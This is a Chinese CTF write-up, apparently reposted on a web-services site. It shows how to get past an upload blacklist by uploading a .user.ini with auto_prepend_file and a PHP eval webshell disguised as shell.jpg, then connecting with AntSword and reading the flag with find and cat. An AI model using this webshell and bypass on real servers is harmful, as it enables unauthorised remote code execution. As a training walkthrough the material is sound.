【CTF 文件上传漏洞】a0_upload_bypass6 利用.user.ini 包含上传绕过黑名单详解
2026/6/5 23:56:40 网站建设 项目流程

一、题目信息

  • 题目名称:a0_upload_bypass6
  • 靶机地址:http://180.76.235.121:33700
  • 考点:.user.ini目录配置包含漏洞、PHP-FPM 运行机制、图片马包含执行绕过上传黑名单

核心原理:.user.ini是 PHP-FPM 环境的目录级配置文件,配置auto_prepend_file=shell.jpg后,当前目录任意 PHP 文件被访问时,PHP 会自动加载执行 shell.jpg 内的 PHP 代码,无需直接访问图片马;区分:.htaccess仅适用于 Apache,.user.ini仅适用于 PHP-CGI/FPM。


二、前置准备:构造两个上传文件

① 配置文件:.user.ini(优先上传)

  1. 新建文本文档,写入配置内容:

ini

auto_prepend_file=shell.jpg
  1. 保存文件名必须为.user.ini(文件名开头带英文小数点,不能省略)

auto_prepend_file:PHP 配置项,作用是当前目录所有 php 文件运行前,自动前置包含指定文件。

② 一句话木马文件:shell.jpg(图片后缀绕过黑名单过滤)

新建文本文档,写入蚁剑可用 PHP 一句话:

php

运行

<?php @eval($_POST['cmd']); ?>

保存为shell.jpg连接密码:cmd

原理:后端上传黑名单拦截.php后缀,改为.jpg可绕过文件后缀检测,依靠.user.ini 包含执行内部 PHP 代码。


三、上传操作(关键顺序:先传 ini、后传图片马,必须同目录)

  1. 打开上传页面:http://180.76.235.121:33700/upload.php
  2. 第一步:选择.user.ini文件,点击 upload 完成上传;
  3. 第二步:选择shell.jpg文件,点击 upload 完成上传;

两个文件必须上传至同一个upload目录,配置才能正常生效。


四、蚁剑 (AntSword) 连接靶机

  1. 打开蚁剑 → 添加数据:
  • 连接 URL:http://180.76.235.121:33700/upload/index.php
  • 连接密码:cmd
  • 连接类型:PHP,编码默认 UTF-8
  1. 点击【测试连接】→连接成功后添加站点;
  2. 双击站点进入虚拟终端,开始查找 flag。

五、Linux 终端查找并读取 flag

1. 全盘检索 flag 文件

在蚁剑终端输入命令(2>/dev/null屏蔽权限报错,只输出有效路径):

bash

运行

find / -name "*flag*" 2>/dev/null

2. cat 读取 flag 内容

根据搜索返回的真实文件路径(如/flag_xxxx.txt),执行读取:

bash

运行

cat /flag_xxxx.txt

页面输出字符串即为 flag,复制提交即可完成题目。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询